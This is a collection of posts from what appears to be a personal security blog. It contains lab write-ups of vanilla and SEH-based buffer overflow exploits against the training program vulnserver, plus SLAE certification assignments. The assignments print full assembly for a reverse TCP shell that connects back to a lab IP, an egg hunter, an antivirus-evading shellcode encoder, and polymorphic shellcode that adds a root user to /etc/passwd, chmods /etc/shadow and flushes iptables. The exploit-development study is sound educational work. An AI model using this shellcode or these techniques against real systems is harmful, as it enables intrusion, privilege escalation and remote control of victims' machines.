Normal view

There are new articles available, click to refresh the page.
Before yesterdayPyt3ra Security Blogs

Buffer Overflow w/ Restricted Characters

 Buffer Overflow Vulnerability w/ restricted characters

Kali Linux
Windows Vista
Vulnerable application: vulnserver.exe (LTER)


Vulnserver.exe is meant to be exploited mainly with buffer overflows vulnerabilities. More info about this application and where to download it can be found here:



~~~~~//********//~~~~~~


For the LTER command, there are two ways to exploit the buffer overflow vulnerability, however, both exploits will have similar restricted characters

- Part 1: Vanilla Buffer Overflow w/ Restricted Characters
- Part 2: SEH base Buffer Overflow w/ Restricted Characters.....click here for  Part 2

Let's get started...

Fuzzing

Similar to the GMON write-up, I used boofuzz to do the initial fuzzing.

...and after crashing the program, we recreate the crash using the follow Proof-of-Concept


We get a pretty vanilla buffer overflow where the EIP has been overwritten with 41s

Also note that ESP currently points to our buffer. This is key once we figure out an address to redirect our EIP


Now we will need to determine our offset and see exactly which part of our buffer overwrites the EIP register.

As usual, this is accomplished using Metasploit's patter_create.rb to generate 3000 unique characters.


Update our POC with our unique characters, send the exploit, and examine the crash in immunity debugger.


Here we can see that EIP has been overwritten with the following values: 386F4337


Metasploit's pattern_offset.rb can be used to determine the offset with this value.

Once we determine the offset, we update our POC again



We send the POC one more time and examine the crash...if our offset is correct, EIP should be overwritten with x42s

In this case, we can see 42424242 were successfully loaded into the EIP register


Finding bad characters

Now that we are able to redirect our EIP...we will need to find an address to redirect the EIP. Since we know that ESP register points to our buffer, we will be looking for a JMP ESP address.

However, before we choose an address, we will need to verify if there are any bad characters.

We update the POC with the following 256 unique hex characters


After running a few test, it's verified that anything over 7F is being subtracted by 7F as we can see below in our dump….such that x80 - x7F = x01

This means we will not be able to use any hex characters over 7F

Allowed characters:

x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f



Now we will need a call esp or jmp esp address…this will ultimately call our 'Cs' where our reverse shell will be loaded while Kkeeping in mind the restricted characters.

We find the following address using mona.py in immunity debugger

FF E4 = jmp esp
Address: 62501203


We can verify this address is a JMP ESP by searching it



At this point, we can updated our EIP to redirect to this JMP ESP  address


As we follow the crash in immunity, we can see that EIP has been successfully overwritten with our JMP ESP address


...once we take the JMP ESP, we are redirected to the top of our Cs




Reverse shell time!

We will need to create our revere shell to encode it with x86/alpha_mixed in order to avoid the restricted characters


We update our POC one last time

Again we follow the jmp esp and we hit the beginning of our reverse shell. We let the code execution continue and successfully get a reverse shell in our Kali listener.



Final Proof-of-Concept




SEH Based Buffer Overflow with Restricted Characters

Structured Exception Handling (SEH)Based Buffer Overflow Vulnerability w/ Restricted Characters


Kali Linux
Windows Vista 
Vulnerable application: vulnserver.exe (LTER)


Vulnserver.exe is meant to be exploited mainly with buffer overflows vulnerabilities. More info about this application and where to download it can be found here:



Github: https://github.com/pyt3ra/SEH-based-Buffer-Vulnerablity-128-Restricted-Hex-Characters-

~~~~~//********//~~~~~~

Fuzzing 

Fuzzing with boofuzz



We open the boofuzz result using SQLite browser


Recreating the crash with our Proof-of-concept


As usual, we examine the crash using Immunity Debugger and see that our SEH handler address has been overwritten with our buffer



Calculating Offset

We use Metasploit's pattern_create.rb and pattern_offset.rb to generate unique characters and calculate the offset.

Updated POC


The following values overwrite the SEH handler


...which then equates to the following offset positions.


Once again, we update the Proof-of-Concept with the following offset calculations and verify if we can see these values after the crash



Finding restricted characters


After running a few test, it looks like anything over 7F is being subtracted by 7F as we can see below in our dump….such that x80 - x7F = x01

This means we will not be able to use any hex characters over 7F

Allowed characters:

x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f


At this point we have successfully done the following:

1. Successfully produced a crash to the program with the buffer we provided
2. Calculated the offset values for address redirection
3. Found all the restricted characters

POP-POP-RET...the key to SEH Based Buffer Overflow Vulnerabilities


I will be using the same POP-POP-RET address from the Vulnserver.exe (GMON) write-up


Updated the POC with the following values...I also added some nopes for the other 4 bytes


We cannot forget about the restricted characters (hex 80 to FF)

We get a crash, however, we can see that our POP-POP-RET address has been changed to 625010B4 to 62501035 where the last byte has been changed (B4 - 7F = 35)

Also note, that our 90s have been changed to 11 (90 - 7F = 11)...we will worry about this part later


We found another POP-POP-RET address


Again, we update the POC with this new POP-POP-RET address


We fire up the POC and set a breakpoint in immunity. As we check the SEH chain plugin, we can confirm that we were able to redirect the SEH handler to the address 6250120B


We allow the execution and hit our breakpoint


We step through the POP POP RET instructions, and we hit our first entry (x90s) or in this case, x11s (90 - 7F)


First Jump 

After we are redirected to the pop-pop-ret address we are then sent to the 4 bytes right before it. We will have to use these 4 bytes to get our first jump

For the first jmp we will use the jnz conditional jump and fill the extra bytes with inc eax. With GMON we used EB 09 or jmp 9 bytes, however, EB is unusable since it is one of the restricted characters.

At this time, eax is currently 0x00000000 so I used the inc eax (41) to disable the ZF. Then do the jump-if-not-zero (jnz) instruction

This jumps pass our SEH handler address…also, note that if we follow it in the dump that we can see we only have 48 bytes of address space…not enough for a reverse/bind shell.


Second jump

Now we have 48 bytes that we can use to do our second jump while keeping in mind the restricted characters
 To circumvent the restricted characters, we will be 'carving' our shellcode with SUB instructions

More info about shellcode carving can be found here: http://vellosec.net/2018/08/carving-shellcode-using-restrictive-character-sets/

First, we will need to realign our stack so that we will know where our decoded jump will show up. In this case, we want our decoded jump opcodes just below our first jump at the following address:



Before we carve it out, we have to realign ESP to address 00E9FFF8 which can be done with the following instructions:

(1)
push esp
pop eax               ;move the value of esp to eax
add ax, 0d75      ;add 3445 to eax
add ax, 0465      ;add 1125 to eax
push eax             ;push new eax value to the stack
pop esp              ;move the value of eax to esp

Note that after we do this, we will need to zero out eax for shellcode carving to work

There are multiple ways to zero out eax (i.e. xor eax, eax), however, this will not work due to restricted characters

We will use the AND operator using the following values

(2)
AND 554E4D4A = ‭101 0101 0100 1110 0100 1101 0100 1010‬
AND 2A313235 = ‭010 1010 0011 0001 0011 0010 0011 0101‬
--------------------------------------------------------------------------------
                             =000 0000 0000 0000 0000 0000 0000 0000

(3)
For our second jump, we will be using a reverse short jump: EB 80 

In order to carve out EB 80 we use the following values:

\xeb\x80\x90\x90 = 6464 7F15
0 - 909080EB = 6F6F7F15
 32103355 + 32103355 + 0B4F 186B = 6F6F7F15
0 - 3210 3355 - 3210 3355 - 0B4F 186b = 909080EB

We will do SUB operations with these values then push the result to the stack

After everything is said and done, our second jump will look like this



We execute our updated POC and trace code execution in immunity debugger

Here we can see that our second jump instructions starts at address 00EFFFD1 and then the EB 80 instructions are carved at address 00EFFFFA

Once we take the jmp short 80h, we get another 72-byte address space that we can work with. This can be seen in our hex dump at address 00EFFF7C


Third Jump

After the second jump, the address space is still not big enough for reverse or bind shell...which means we will need to do another jump.

As usual, we will need to realign ESP to set where are decoded instructions will be saved. In this case, ESP currently points at address 00FAFFFD and we would like to point it to 0FAFFAE.

After we store the value of ESP to EAX we execute the following SUB instruction

SUB AL, 4F (00FAFFFD - 4F = 0FAFFAE)

We then pop this address back to ESP


After we run the following instructions, we can see that ESP points to address 00FAFFAE…this is where our decoded jump instructions will be stored


For the third jump, we will be using the following instructions:


\x81\xec\x48\x0d\x00\x00 (SUB ESP, 0DA0)
\xff\xe4                                   (JMP ESP)
00FAFFAE - 0DA0 = 00FAF20E

00FAF20E is the address that is just below the beginning of our buffer....this will give us about 3400+ bytes worth of address space for our final shellcode

We will be carving 4 bytes at a time beginning at the lowest 4 bytes (since this will be pushed into the stack in LIFO manner)

As usual, we zero out EAX first then carve the instructions using SUB instructions before EAX gets pushed into the stack


Here we can see our 4 bytes getting decoded at address 00D0FFBF


...we carve out the next 4 bytes


...and follow the instructions being decoded


This completes our third as we can we have success decoded our next jump instructions @ address 00D0FFBB:

SUB ESP, 0D48

JMP ESP


We continue code execution to get to our SUB ESP and JMP ESP

Here we can see that after the SUB instruction, our ESP point 00D0F273


We take the JMP ESP and we are provided with 3000+ bytes of address space for our final shellcode


Final Shellcode 


At this point, we can use MSF to create a reverse shell encoded with alpha_mixed.

Also, note that we need to add BufferRegister=ESP to get rid of some restricted characters at the beginning of the shellcode. 

More info about BufferRegister flag can be found here: https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/



SEH Based Buffer Overflow

Structured Exception Handling (SEH)Based Buffer Overflow Vulnerability

Kali Linux
Windows Vista
Vulnerable application: vulnserver.exe (GMON)


Vulnserver.exe is meant to be exploited mainly with buffer overflows vulnerabilities. More info about this application and where to download it can be found here:



~~~~~//********//~~~~~~


Once the application has been downloaded, we run it on our Vista Machine and start fuzzing.


Fuzzing

For fuzzing, I will be using boofuzz, and documentation can be found here:


First off, we connect to the application to test its functionality--specifically, we will  be testing the GMON command as shown below


Here is the boofuzz template/proof-of-concept that I used for fuzzing:


We fire up this python fuzzer and get a crash. 


With boofuzz, it generates a fuzzing result that can be further accessed using a DB application. For this, I am using a sqlitebrowser that provides a nice SQLite GUI.

We can see in this result (line 24) that our fuzzer sent 5013 bytes before the crash occurred



Proof-of-concept


Here's the original proof-of-concept that I will be using throughout the exploit development 

We will begin by recreating the crash using this POC


We fire up this POC and examine the crash in Windows Vista using Immunity Debugger. 

We successfully get a crash with our buffer of 41s. 

Since this will be an SEH based buffer overflow, we look at the crash in SEH chain which shows that SEH handler address being overwritten with our 41s


After being able to successfully overwrite the SEH handler, we then need to figure out the correct offset. This can be done by feeding our POC with unique characters of 5100 bytes long. 

We will be using Metasploit's pattern_create.rb as shown below.



We then update our POC with the following unique chars and again fire up our exploit.



The POC successfully crashes the vulnserver.exe program again and follow the crash in immunity.

Here we can see that SEH has been overwritten with the following values:
326E4531 & 45336E45


We can use these two values to calculate the offset using Metasploit's pattern_offset.rb

Note: Immunity Debugger's mona.py can also be used to create the pattern_create and pattern_offset

We get the following offset:

SEH: 3519
nSEH: 3515


We can use these offset values to update the POC one more time and recalculate our buffer


Again, we fire up the updated POC and examine the crash in immunity.

We can see that nSEH has been overwritten with x42s and the SEH has been overwritten with x43s


Redirecting the SEH Handler

At this point, we have successfully accomplished the following:

1. Fuzzed the vulnerable application given a long string of buffer 
2. We have calculated the offset for the SEH Handler

One common way (or only way?) to exploit a buffer overflow vulnerability is using the POP-POP-RET 

This is possible because when an application crashes and the SEH happens, our malicious buffer is loaded into the stack and the crash makes this buffer accessible using the POP-POP-RET sequence of instructions.

More information about POP-POP-RET can be found in this blog:



Bottom right of the immunity debugger crash below shows the current state of the stack after the crash
Our buffer is loaded at address 00FDF1F0 (note that addresses 00FDF1E8 and 00FDF1FC will need to be pop from the stack)

POP - 00FDF1E8
POP - 00FDF1FC
RET - 00FDF1F0 (returns our buffer)



Bad characters are no bueno

Before we look for a POP-POP-RET address and redirect our SEH Handler to it, we need to discover bad characters that will truncate or mangle our exploit.

Searching for bad characters can be accomplished by feeding 255 unique hex characters and follow code execution in immunity debugger to see it certain hex characters truncate or mangle our buffer


Again, execute our POC and trace code execution in immunity debugger. 

Looking at the hex dump (bottom left), we can see the application took all 255 hex characters (0x01 to 0xff) which means that other than  0x00, all hex characters can be used.


Now we are ready to find any POP-POP-RET address. This can be done using the mona.py plugin in immunity debugger (I couldn't get it to work) or you can just do it manually by opening up the essfunc.dll and searching for these sets of instructions.

I found the POP-POP-RET at address 625010B4


Once again, we update our POC with the SEH Handler redirect address. We examine the crash by adding a breakpoint at address 625010B4 and see if we can hit the breakpoint for a successful redirection.

Note that the address has to be in little-endian format. Also, we added a first jump (EB 06) and 2 NOPs.



We get a another crash, examine the SEH chain which shows our POP-POP-RET address and if we allow the exception to happen, we are successfully redirected to address 625010B4



We step through the POP-POP-RET codes and we then hit our first jump (EB 06).


...once we take the jmp and hit the address 00EFFF7D. This gives us roughly about 70 bytes of address space. This space is not enough to get a reverse or bind shellcode however, we can utilize this space to further jump.


For our second jump, I am using the following instructions which were straight from the OSCE course. 

These instructions basically moves the address of EIP to ECX then 8 bytes of ECX gets decreased before the jump is taken.


These instructions can be created to a nasm file then objdump can be used to generate the opcodes. 

Below shows these instructions and their respective opcodes


Note that at this point, ecx points to address 00EFFD87. We step through the instructions, take the jump and follow the new EIP 00EFFD87 in dump which gives us a bigger address space…512 bytes to be exact
00EFFF8B - 00EFFFD87= 512 in decimal

We update our POC once again with these jump instructions and now we are afforded an address space big enough for our shellcode.


SHELL TIME!

We create a reverse shell.


We update our POC buffer one last time


We execute our POC again and follow code execution in our debugger

And after taking our second jump, we hit our NOPs and if we follow the eip in dump, we can see that our encoded shellcode is just right below it.


If we continue code execution, we hit our shellcode and get a reverse shell in kali


Final POC




Conclusion:

  1. Fuzzed the vulnerable application given a long string of buffer 
  2. We have calculated the offset for the SEH Handler
  3. Determine if there are any bad characters
  4. Found a POP-POP-RET address to access our buffer
  5. Use the 4 bytes @ offset 3515 to do our first jump for a 70-byte address space
  6. Use the 70 bytes address space for the second jump which gave us 512 bytes of address space
  7. Add shellcode

Shellcode Polymorphism

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
GitHub:

SLAE Assignment #6 - Polymorphic
     - Create a polymorphic version of 3 shellcodes from Shell-Storm
     - The polymorphic versions cannot be larger than 150% of the existing shellcode
     - Bonus: points for making it shorter in length than original



~~~~~~~~~//*****//~~~~~~~~~


0x1 - add root user (r00t) with no password to /etc/passwd
link: www.shell-storm.org/shellcode/files/shellcode-211.php

Original shellcode, assembled using ndisasm



For this, we can focus on lines 6, B, 15 and 25, 2A, 2F. The following instructions correspond to the two syscalls: open() and write (). The open() opens /etc//passwd and write() writes r00t::0:0::: I was able to change the values by running add and sub operations. I could have changed r00t::0:0::: as well using XOR operations or getting rid of the push (replaced with mov)  instructions, however, I would have exceeded the 150% of shellcode size limit.





0x2 - chmod (etc/shadow, 0777)
link: www.shell-storm.org/shellcode/files/shellcode-593.php

Here's the original shellcode with the size of 29 bytes disassembled using ndisasm. Similar to 0x1, lines 3, 8, and D show the file name /etc//shadow which means this will be the focus with the polymorphism process. Line 14 shows the permission 0777 which could also be polymorphed using some add or sub instructions but I didn't do it base on the %150 shellcode size requirement.



For the polymorphism, I used a combination of similar technique from 0x1 plus a JMP-CALL-POP technique. I subtracted 0x11111111 from each dword and then dynamically loaded the new values to the stack. After they are popped, I added 0x11111111 to recover the original value before they pushed back into the stack again. The size of the new shellcode is 44 bytes.


0x3 -iptables -F
link: www.shell-storm.org/shellcode/files/shellcode-368.php


The following instructions results: /sbin/iptables -F which then get executed using execve()




I used the JMP-CALL-POP method to change it up. Basically the /sbin/iptables -F hex codes from above are replaced. The new shellcode size is 58 bytes.


Thank you for reading.

Shellcode Analysis

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #5 - Analysis of Linux/x86 msfpayload shellcodes

          - Use GDB/ndisasm/libemu to dissect the functionality of the shellcode


~~~~~~~~~//*****//~~~~~~~~~


For this assignment, I will be using the first three Linux/x86 payloads generated by msfvenom (formerly msfpayload)


0x1 - linux/x86/adduser


A quick ndisasm gives us the following:

msfvenom -p linux/x86/adduser -f raw | ndisasm-u -



The first obvious ones are the 4-dwords:

           push dword 0x64777373
           push dword 0x61702f2f
           push dword 0x6374652f

The following dwords (in little-endian) are the hex representation of /etc//passwd as shown below:


However, it is still unclear as to what is being done to the /etc//passwd file. I think this is where we can use gdb to see what system calls are being invoked.

I generated the shellcode from msfvenom, loaded it in shellcode.c, compiled and loaded in gdb.




Once loaded in gdb...we first set a breakpoint for shellcode: break *&code 



We can see again the /etc//passwd in lines +15, +20, +25. We can also see several int 0x80 (lines +7, +35, +86, +91) for the system calls. We can add breakpoints on these lines to see what system calls are loaded into eax. 


Note: Here is a list of all the system calls with their corresponding call numbers found in /usr/include/i86-linux-gnu/asm/unistd_32.h


Syscall #1:  eax has 46 or setgid() loaded to it.



setgid() call is pretty straight forward. This call sets a user's group id. In this case, the group id is set to 0 as seen in the first two lines. The function calls only require one argument, in this case 0 is loaded into ebx (mov ebx, ecx) as the argument. 

                                                  root@kali:~/SLAE# id
uid=0(root) gid=0(root) groups=0(root)



                   
Syscall #2: eax has 5 or open() loaded to it.


open() here opens /etc/passwd file for the pathname and sets the flags to O_RDWR (Read/Write). This step will require root access hence why setgid()  was called first and set the user's group id to 0.

                      
                             push   0x64777373
                             push   0x61702f2f
                             push   0x6374652f




Syscall #3: eax has 4 or write() loaded to it.


write() has 3 arguments (fd, *buf, count). count writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd.



The following is what gets written in to /etc/passwd file.
USER=test
PASS=password (in this case it is hashed)
SHELL=/bin/bash



syscall #4: eax has 1 or exit() loaded to it....enough said.




0x2 - linux/x86/chmod

We again generate a shellcode with the following options:

FILE=/home/slae/test.txt
MODE=0777





Compile and we load the file in gdb.


We put a breakpoint at the system  call @ +37 (0x804a065)

Syscall: eax has 15 or chmod() loaded to it.



chmod() requires two arguments: pathname and mode

pathname: /home/slae/test.txt (ebx)



mode: 0777 (ecx) 

Here we can see 0x1ff (0777) pushed to the stack and popped into ecx


0x3 - linux/x86/exec

We generate a shellcode with the following option:

CMD=ifconfig



Compile and load it in gdb


We put a breakpoint at the system call @ +42 (0x0804a06a)

syscall: eax has 11 or execve() loaded to it.



Here we see the first part of the string for the command /bin/sh -c loaded into ebx.





The next string should be ifconfig, however, I couldn't find it using gdb. I ended up using ndisasm for this next step.

 
Call dword 0x26 is what we are looking for. Looking at 1D to 24, we can see that these are the opcodes for ifconfig. 


Furthermore, plugging the next opcodes (26 through 29) shows how the entire command string (/bin/sh -c ifconfig) is pushed into the stack (esp), and loaded into ecx




Thank you for reading.

Shellcode Encoder

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #4 - Encoder
 - Create a custom encoding scheme


~~~~~~~~~//*****//~~~~~~~~~



For this assignment,  we will be encoding an execve shellcode that spawns a /bins/sh using XOR and then NOT encoding The idea behind encoding is that we can alter opcodes without altering its functionality. For instance, using the shellcode below, it is pretty clear that our shellcode contains \x2f\x2f\x73\x68\x2f\x62\x69\x6e which translates to //bin/sh. Among other things, this is something that could be easily caught by Anti-virus (AV) or Intrusion  Detection System (IDS).

Below is the original execve-stack.nasm file and its corresponding opcodes/shellcode.






Once we get the original shellcode...I used python for encoding which will be a two-step process: XOR encoding first, then NOT encoding the result of the first step.

Here we initialize it with our original shellcode from execve-stack.nasm file:


The first step is the  XOR encoding. For this step, I am going through each byte of the original shellcode and XOR'ng it with 0xaa.


The second step is to encode each byte of the result from XOR encoding, with a NOT encoding.




Below is the output of the encoder python script. I am printing both XOR and NOT encoded shellcodes however, we will only need the NOT encoded shellcode for our decoder.



With the 'XOR then NOT' encoded shellcode, we are now ready to create our decoder to revert or decode it back to the original shellcode.

For this step, I am using the jmp-pop-call method again. We load the encoded shellcode into the stack by using the call instruction. We then pop it and load it into a register (esi for this one). We can then loop through each byte of the encoded shellcode loaded in esi. 

We first do a NOT then followed by XOR 0xaa.

Below shows the encoding and decoding scheme for the first byte

encoding: 0x31---> 0x9b (0x31 XOR 0xaa) -----> 0x64 (NOT 0x9b & 0xff)
decoding: 0x64---> 09xb (NOT 0x64 & 0xff) ---> 0x31 (0x9b XOR 0xaa)

...and here's the complete nasm file with our decoder.



We compile then generate a new shellcode using objdump.


We update our shellcode.c file, compile it and execute.

Note that with this the new shellcode, it shows that we can 'hide' the //bin/sh while maintaining the functionality.


SUCCESS!


Egg Hunter

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #3 - Egghunter
        

          - Create a working demo of the egg hunter

~~~~~~~~~//*****//~~~~~~~~~


For the 3rd assignment, I will be creating an 'egg hunter' shellcode. This wasn't covered in the SLAE course. As mentioned by a lot of SLAE blogs, a good source is from skape research paper. My shellcode did not deviate too much from what skape has shown. I created some labels to make it more readable and easier to follow the flow of instructions.

What is an egg_hunter? Why do we need it?

An egg hunter is a shellcode that points to another shellcode. It is basically a staged shellcode where the egg hunter shellcode is stage one while the actual shellcode that spawns the shell (reverse, bind, meterpreter, etc) is stage two. It is needed during an exploit development (i.e. buffer overflow) where the application only allows a small space for a shellcode--too small for the stage two shellcode, however it has enough address space for stage one.

This is accomplished by using an 'egg(s)' which is a unique 8-byte opcode (or hex). The egg gets loaded into both the stage 1 and stage 2 shellcodes. When stage one shellcode executes, it searches for the unique 8-byte egg and transfers execution control (stage 2).

Here I globally defined egg with the following and then initialized eax, ebx, ecx, edx registers:

       %define _EGG                    0x50905090

       xor ebx, ebx                         ;remove x00/NULL byte
       mov ebx  _EGG                   ;move 0x50905090 egg into ebx register
       xor ecx, ecx                         ;remove x00/NULL byte  
       mul ecx                                ;intializes eax, ecx, edx with x000000000 value


We are now ready to do some system calls. According to skape, two system calls can be used: access() and sigaction(). For this write-up, I will only be using access().


We will be using the *pathname pointer argument to validate the address that will contain our egg.

 I globally defined two more variables: the access() syscall and EFAULT

      %define _SYSCALL_ERR       ;0xf2
      %define __NR_access              ;0x21

...and created two labels: NEXT_PAGEFILE and NEXT_ADDRESS

The first label is used to switch to the next page if an invalid address memory is returned with the syscall...each pagefile/PAGESIZE contains 4096 bytes. This is accomplished using an OR instruction

NEXT_PAGEFILE:

      or dx, 0xfff                                 ;note that edx is the pointed *pathname
                                                         ;0xffff == 4095

The second label will be our meat and potatoes. Within this label or procedure, we will be calling the access(2) syscall, compare the results (egg hunting), and loop through the address space.

NEXT_ADDRESS:

        inc edx                               ;increments edx, checks next address if it contains the egg
        pusha                                 ;push eax, ebx, ecx, edx....these registers are used multiple 
                                                   ;pushing them to the stack to preserve values when popped
        lea ebx, [edx +4]
        xor eax, eax                      ;remove x00/NULL byte
        mov al, __NR_access       ;syscall 33 for access(2)
        int 0x80                            ;interrupt/execute

        ;egg hunting begins

        cmp al, SYSCALL_ERR ;compares return value of al to 0xf2 (EFAULT)
        popa                                 ;branch, pop eax, ebx, ecx, edx
        jz NEXT_PAGEFILE     ;al return value == EFAULT value, invalid address memory
                                                 ;move to the next PAGESIZE

        cmp [edx], ebx                 ;if al retun value != EFAULT value, execute this instruction
                                                 ;compares the egg with edx value
        jnz NEXT_ADDRESS    ;not EFAULT but _EGG not found, loop again


        cmp[edx +4], ebx             ;_EGG found, test for the next 4 byte of the _EGG
       jnz NEXT_ADDRESS     ;if next 4 bytes of edx value !=_EGG, loop again

       jmp edx                             ;finally, 8 bytes of _EGG found, jmp to address of edx     

We compile our nasm file and obtain our shellcode using objdump.


We now have our stage one shellcode and for the stage two shellcode, I will be using the reverse TCP shellcode from SLAE Assignment #2.

I updated the shellcode.c file to include both stage one and stage two shellcodes as seen below.



For testing, I am using my kali box again to receive the reverse TCP shell. We compile our shellcode.c, open a listener in Kali and run the exploit.



SUCCESS!!



Reverse TCP Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #2 - Create a Shell_Reverse_TCP shellcode
      

      - Reverse connects to configured IP and Port
      - Execs shell on successful connection
      - IP and Port should be easily configurable

~~~~~~~~~~//*****//~~~~~~~~~~


Creating a REVERSE_TCP shell consist of 3 functions

0x1 socket
0x2 connect
0x3 execve



0x1 - socket

Similar to assignment #1, the first thing we need to do is set-up our socket. This can be accomplished by pushing the following parameters into the stack.

We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)

                push 0x6                ;TCP or 0x6
               push 0x1               ;SOCK_STREAM or 0x1
              push 0x2               ;AF_INET or 0x2

We can then invoke the socketcall() system call, as shown below:

               xor eax, eax            ;remove x00/NULL byte
               mov al, 0x66            ;syscall 102 for socketcall
               xor ebx, ebx            ;remove x00/NULL byte
               mov bl, 0x1             ;net.h SYS_SOCKET 1 (0x1)
               xor ecx, ecx            ;remove x00/NULL byte
              mov ecx, esp            ;arg to SYS_SOCKET
              int 0x80                ;interrupt/execute


              mov edi, eax            ;sockfd, store return value of eax into edi


0x2 - connect

Once our socket is set-up, the next step is to invoke the connect() system call. This will be used to connect back to the listening machine, through the socket using an IP address and Port destination.

Below shows what we need for the connect():



One main difference with reverse shell vs. a bind shell is that we need both the IP and port of the listening machine for the reverse shell. Specifically, we use 192.168.199.128 and port 4445 as the IP and port respectively. We load both the IP and port address into the stack using jmp-pop-call method again. We first do a jmp to the label that contains our IP and port. '192.168.199.1304445' is then loaded to the stack once the call command is called. We can then call the pop esi instruction which loads the '192.168.199.1304445' into the esi register. Finally, to split the IP and port we do a push dword[esi] which pushes the first 4 bytes (192.168.199.130) and then a push word[esi +4] which pushes the last two bytes (4445).

We then call the socketcall() and SYS_CONNECT.


   reverse_jump:

        jmp short reverse_ip_port


    connect:

        ;int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen$


        pop esi                            ;pops port+IP (total of 6 bytes), ESP addr to e$
        xor eax, eax                    ;removes x00/NULL byte
        xor ecx, ecx                     ;removes x00/NULL byte
        push dword[esi]              ;push IP (first 4 bytes of esi)
        push word[esi +4]           ;push PORT (last 2 bytes of esi)
        mov al, 0x2                      ;AF_INET IPV4
        push ax
        mov eax, esp                    ;store stack address into edc (struct sockaddr)
        push 0x10                        ;store length addr on stack
        push eax                          ;push struct sockaddr to the stack
        push edi                           ;sockfd from th eax _start
        xor eax, eax                     ;removes x00/NULL byte
        mov al, 0x66                    ;syscall 102 for socketcall
        xor ebx, ebx                     ;removes x00/NULL byte
        mov bl, 0x03                    ;net.h SYS_CONNECT 3
        mov ecx, esp                    ;arg for SYS_CONNECT
        int 0x80



    reverse_ip_port:

        call connect

        reverse_ip dd 0x82c7a8c0       ;192.168.199.130, hex in little endian
        reverse_port dw 0x5d11          ;port 4445, hex in little endian



0x3 - execve

Before execve() syscall can be invoked, we have to set up dup2() calls to ensure all the std in/out/error goes through the socket. We use the same technique utilized in assignment #1.

   change_fd:

        ;multiple dup2() to ensure that stdin, stdout, std error will
        ;go through the socket connection

        xor ecx, ecx            ;removes 0x00/NULL byte, 0 (std in)
        xor eax, eax            ;removes 0x00/NULL byte
        xor ebx, ebx            ;removes 0x00/NULL byte
        mov ebx, edi            ;sockfd from the eax _start
        mov al, 0x3f            ;syscall 63 for dup2
        int 0x80                ;interrupt/execute

        mov al, 0x3f            ;syscall 63 for dup2
        inc ecx                 ;+1 to cx, 1 (std out)
        int 0x80                ;interrupt/execute

        mov al, 0x3f            ;syscall 63 for dup2
        inc ecx                 ;+1 to ecx, 2 (std error)
        int 0x80                ;interrupt/execute


Shell time! Shells for everyone!

This is no different than assignment #1 shell. We use execve() syscall to invoke a /bin/sh, however this time it sends the file std in/out back to the listening machine.

  execve:
         xor eax, eax             ;removes x00/NULL byte
         push eax                   ;push first null dword

         push 0x68732f2f      ;hs//
         push 0x6e69622f      ;nib/

         mov ebx, esp             ;save stack pointer in ebx

         push eax                    ;push null byte terminator
         mov edx, esp             ;moves address of 0x00hs//nib/ into edx

         push ebx                    
         mov ecx, esp          

         mov al, 0xb                ;syscall 11 for execve
         int 0x80


Testing our reverse shell

First, we start with compiling our nasm file into executable and then opening up a listener in our Kali box.




Execute the file and we get a reverse TCP connection back to our kali


SUCCESS...our reverse shell works.


We then use objdump to get our actual shellcode...


Copy the shellcode into our c file, test reverse shell again and we get another successful reverse shell to the kali listener.








SLAE Certification

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517
Github: https://github.com/pyt3ra/SLAE-Certification.git

~~~~~~~~~//*****//~~~~~~~~~

